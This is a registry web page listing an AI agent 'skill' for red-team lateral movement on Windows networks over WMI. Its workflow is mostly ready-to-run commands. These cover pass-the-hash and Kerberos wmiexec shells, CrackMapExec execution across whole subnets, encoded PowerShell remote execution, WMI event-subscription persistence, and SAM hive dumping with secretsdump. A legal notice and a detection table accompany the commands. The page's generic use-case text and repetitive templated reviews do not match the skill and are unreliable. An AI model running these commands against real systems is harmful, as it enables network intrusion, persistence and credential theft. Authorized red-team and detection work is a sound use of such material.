performing-lateral-movement-with-wmiexec

mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026

MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-lateral-movement-with-wmiexec
0 commentsdiscussion
summary

Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.

skill.md
name
performing-lateral-movement-with-wmiexec
description
Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.
domain
cybersecurity
subdomain
red-teaming
tags
- red-team - lateral-movement - wmiexec - wmi - post-exploitation - impacket - windows
version
'1.0'
author
mahipal
license
Apache-2.0
d3fend_techniques
- Executable Denylisting - Execution Isolation - Application Protocol Command Analysis - Network Isolation - Network Traffic Analysis
nist_csf
- ID.RA-01 - GV.OV-02 - DE.AE-07

Performing Lateral Movement with WMIExec

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

WMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.

When to Use

  • When conducting security assessments that involve performing lateral movement with wmiexec
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Execute remote commands on Windows targets using WMI-based techniques
  • Establish semi-interactive shells via Impacket wmiexec.py
  • Perform lateral movement with Pass-the-Hash using WMI
  • Use CrackMapExec for multi-target WMI command execution
  • Execute native PowerShell WMI commands for fileless lateral movement
  • Chain WMI with credential harvesting for network-wide access

MITRE ATT&CK Mapping

  • T1047 - Windows Management Instrumentation
  • T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
  • T1550.002 - Use Alternate Authentication Material: Pass the Hash
  • T1059.001 - Command and Scripting Interpreter: PowerShell
  • T1570 - Lateral Tool Transfer

Workflow

Phase 1: WMIExec with Impacket

  1. Execute a semi-interactive shell with credentials:
    # With cleartext password
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50
    
    # With NT hash (Pass-the-Hash)
    wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/[email protected]
    
    # With Kerberos ticket
    export KRB5CCNAME=admin.ccache
    wmiexec.py -k -no-pass domain.local/[email protected]
    
    # Execute specific command (non-interactive)
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all"
    
  2. Execute commands without output file (stealthier using DCOM):
    # Using dcomexec.py as alternative (MMC20.Application DCOM object)
    dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50
    
    # Using ShellWindows DCOM object
    dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
    

Phase 2: CrackMapExec Multi-Target Execution

  1. Execute commands across multiple targets:
    # Execute single command on subnet
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami"
    
    # Execute with hash
    crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig"
    
    # Execute PowerShell command
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process"
    
    # Check local admin access via WMI
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
    

Phase 3: Native WMI Commands (Windows)

  1. Execute remote commands using built-in Windows WMI tools:
    # Using wmic.exe (deprecated but still available)
    wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt"
    
    # Using PowerShell Invoke-WmiMethod
    $cred = Get-Credential
    Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
      -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt"
    
    # Using CIM sessions (modern replacement for WMI)
    $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred
    Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
      -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami"}
    
  2. Fileless PowerShell execution via WMI:
    # Execute encoded PowerShell command remotely
    $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\temp\procs.txt'))
    Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
      -Credential $cred -ArgumentList "powershell.exe -enc $cmd"
    

Phase 4: WMI-Based Persistence

  1. Create WMI event subscriptions for persistence:
    # Create WMI event subscription (command runs on every logon)
    $filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter `
      -Arguments @{Name="PersistFilter"; EventNamespace="root\cimv2";
                   QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
    
    $consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer `
      -Arguments @{Name="PersistConsumer"; CommandLineTemplate="cmd.exe /c <payload>"}
    
    Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding `
      -Arguments @{Filter=$filter; Consumer=$consumer}
    

Phase 5: Chaining with Credential Harvesting

  1. Use WMI for remote credential extraction:
    # Dump SAM hashes via WMI + reg save
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "reg save HKLM\SAM C:\temp\sam && reg save HKLM\SYSTEM C:\temp\system"
    
    # Download saved hives
    smbclient.py domain.local/admin:'Password123'@10.10.10.50
    > get C:\temp\sam
    > get C:\temp\system
    
    # Extract hashes from saved hives
    secretsdump.py -sam sam -system system LOCAL
    

Tools and Resources

ToolPurposePlatform
wmiexec.pySemi-interactive WMI shell (Impacket)Linux (Python)
dcomexec.pyDCOM-based remote execution (Impacket)Linux (Python)
CrackMapExecMulti-target WMI executionLinux (Python)
wmic.exeNative Windows WMI command-line toolWindows
PowerShell CIMModern WMI cmdletsWindows
SharpWMI.NET WMI execution toolWindows (.NET)

WMI Execution Methods Comparison

MethodService CreatedOutput MethodStealth Level
wmiexec.pyNoTemp file on ADMIN$Medium
dcomexec.pyNoTemp file on ADMIN$Medium-High
wmic.exeNoNone (blind) or redirectMedium
PowerShell WMINoNone (blind) or redirectHigh
PsExec (comparison)YesService output pipeLow

Detection Signatures

IndicatorDetection Method
Win32_Process.Create WMI callsEvent 4688 (process creation) with WMI parent process
WMI temporary output files on ADMIN$File monitoring on ADMIN$ share for temp files
Remote WMI connections (DCOM/135)Network monitoring for DCOM traffic to workstations
WmiPrvSE.exe spawning cmd.exe/powershell.exeEDR process tree analysis
Event 5857/5860/5861WMI Activity logs in Microsoft-Windows-WMI-Activity

Validation Criteria

  • WMIExec shell established on remote target
  • Pass-the-Hash execution validated via WMI
  • Multi-target command execution via CrackMapExec WMI
  • Native PowerShell WMI commands executed remotely
  • Credential harvesting performed via WMI execution chain
  • No service creation artifacts on target systems
  • Evidence documented with command outputs and screenshots
how to use performing-lateral-movement-with-wmiexec

How to use performing-lateral-movement-with-wmiexec on Cursor

AI-first code editor with Composer

1

Prerequisites

Before installing skills in Cursor, ensure your development environment meets these requirements:

  • Cursor installed and configured on your development machine
  • Node.js version 16.0+ with npm package manager (verify with node --version)
  • Active project directory or workspace where you want to add performing-lateral-movement-with-wmiexec
2

Execute installation command

Execute the skills CLI command in your project's root directory to begin installation:

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-lateral-movement-with-wmiexec

The skills CLI fetches performing-lateral-movement-with-wmiexec from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.

3

Select Cursor when prompted

The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:

◆ Which agents do you want to install to?
│ ── Universal (.agents/skills) ── always included ────
│ • Amp
│ • Antigravity
│ • Cline
│ • Codex
│ ●Cursor(selected)
│ • Cursor
│ • Windsurf
4

Verify installation

Confirm successful installation by checking the skill directory location:

.cursor/skills/performing-lateral-movement-with-wmiexec

Reload or restart Cursor to activate performing-lateral-movement-with-wmiexec. Access the skill through slash commands (e.g., /performing-lateral-movement-with-wmiexec) or your agent's skill management interface.

Security & Verification Notice

We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.

Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.

List & Monetize Your Skill

Submit your Claude Code skill and start earning

GET_STARTED →

Use Cases

Task Automation & Efficiency

Automate repetitive workflows and reduce manual effort

Example

Generate reports, summarize documents, draft communications

Save 3-5 hours per week on routine tasks

Knowledge Enhancement

Learn new skills, understand complex topics, get expert guidance

Example

Explain concepts, provide examples, suggest learning resources

Accelerate learning and skill development by 2x

Quality Improvement

Enhance output quality through reviews, suggestions, and refinements

Example

Review drafts, suggest improvements, catch errors

Improve work quality by 30-40% with less effort

Implementation Guide

Prerequisites

  • Claude Desktop or compatible AI client with skill support
  • Clear understanding of task or problem to solve
  • Willingness to iterate and refine outputs

Time Estimate

15-45 minutes depending on use case complexity

Installation Steps

  1. 1.Install skill using provided installation command
  2. 2.Test with simple use case relevant to your work
  3. 3.Evaluate output quality and relevance
  4. 4.Iterate on prompts to improve results
  5. 5.Integrate into regular workflow if valuable

Common Pitfalls

  • Expecting perfect results without iteration
  • Not providing enough context in prompts
  • Using skill for tasks outside its intended scope
  • Accepting outputs without review and validation

Best Practices

✓ Do

  • +Start with clear, specific prompts
  • +Provide relevant context and constraints
  • +Review and refine all outputs before using
  • +Iterate to improve output quality
  • +Document successful prompt patterns

✗ Don't

  • Don't use without understanding skill limitations
  • Don't skip validation of outputs
  • Don't share sensitive information in prompts
  • Don't expect skill to replace human judgment

💡 Pro Tips

  • Be specific about desired format and style
  • Ask for multiple options to choose from
  • Request explanations to understand reasoning
  • Combine AI efficiency with human expertise

When to Use This

✓ Use When

Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.

✗ Avoid When

Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.

Learning Path

  1. 1Familiarize yourself with skill capabilities and limitations
  2. 2Start with low-risk, non-critical tasks
  3. 3Progress to more complex and valuable use cases
  4. 4Build expertise through regular use and experimentation

Discussion

Product Hunt–style comments (not star reviews)
  • No comments yet — start the thread.
general reviews

Ratings

4.633 reviews
  • Ira White· Nov 23, 2024

    We added performing-lateral-movement-with-wmiexec from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • Amina Kapoor· Nov 3, 2024

    performing-lateral-movement-with-wmiexec fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

  • James Bansal· Oct 22, 2024

    We added performing-lateral-movement-with-wmiexec from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • Evelyn Ghosh· Oct 14, 2024

    performing-lateral-movement-with-wmiexec fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

  • Piyush G· Sep 21, 2024

    performing-lateral-movement-with-wmiexec is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

  • Xiao Patel· Sep 21, 2024

    Solid pick for teams standardizing on skills: performing-lateral-movement-with-wmiexec is focused, and the summary matches what you get after install.

  • Isabella Reddy· Sep 9, 2024

    performing-lateral-movement-with-wmiexec is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

  • Isabella Sanchez· Sep 5, 2024

    Useful defaults in performing-lateral-movement-with-wmiexec — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Neel Singh· Aug 28, 2024

    Keeps context tight: performing-lateral-movement-with-wmiexec is the kind of skill you can hand to a new teammate without a long onboarding doc.

  • Xiao Rao· Aug 24, 2024

    I recommend performing-lateral-movement-with-wmiexec for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.

showing 1-10 of 33

1 / 4